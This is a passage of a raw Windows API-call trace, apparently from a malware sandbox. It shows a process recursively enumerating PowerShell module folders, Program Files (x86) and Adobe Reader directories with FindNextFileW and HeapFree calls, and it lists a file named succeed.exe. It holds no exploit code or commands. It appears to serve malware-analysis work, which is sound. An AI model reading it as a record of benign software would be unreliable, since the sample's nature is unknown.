ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0255.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0255.559] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0255.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0255.559] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0255.559] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0255.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0255.561] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1 [0255.848] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.010] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0256.012] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.012] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0256.014] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0256.014] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0256.014] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0256.014] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0256.014] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0256.015] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.015] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0256.022] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0256.022] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0256.023] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.023] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0256.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.601] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0256.601] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0256.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0256.602] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0256.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0256.602] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0256.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0256.603] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0256.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.603] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0256.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.603] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0256.604] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0256.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0256.604] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0256.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.607] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0256.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0256.609] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0256.612] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0256.612] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0256.612] FindClose (in: hFindFile=0x6d02c8 | out: hFindFile=0x6d02c8) returned 1 [0256.612] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0256.615] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0 [0256.615] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0256.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0256.616] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0256.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.617] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1 [0256.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0256.618] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0256.618] FindClose (in: hFindFile=0x6d02c8 | out: hFindFile=0x6d02c8) returned 1 [0256.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0256.618] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0256.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.618] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0256.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0256.619] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0256.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.619] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0256.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0256.619] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 0 [0256.619] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0256.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0256.620] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0 [0256.620] FindClose (in: hFindFile=0x6d0008 | out: hFindFile=0x6d0008) returned 1 [0256.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0256.621] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b6c46d0, ftCreationTime.dwHighDateTime=0x1d58ec4, ftLastAccessTime.dwLowDateTime=0x24394f40, ftLastAccessTime.dwHighDateTime=0x1d5b8d8, ftLastWriteTime.dwLowDateTime=0x24394f40, ftLastWriteTime.dwHighDateTime=0x1d5b8d8, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="succeed.exe", cAlternateFileName="")) returned 1 [0256.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0256.622] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xea23d222, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea23d222, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0256.622] FindClose (in: hFindFile=0x6d0248 | out: hFindFile=0x6d0248) returned 1 [0256.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121070 | out: hHeap=0x670000) returned 1 [0256.622] FindNextFileW (in: hFindFile=0x6d0188, lpFindFileData=0x396fcf8 | out: lpFindFileData=0x396fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0256.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0256.625] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1 [0256.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0256.636] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0256.636] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0256.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0256.636] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0256.883] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.883] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0256.883] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0256.884] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: 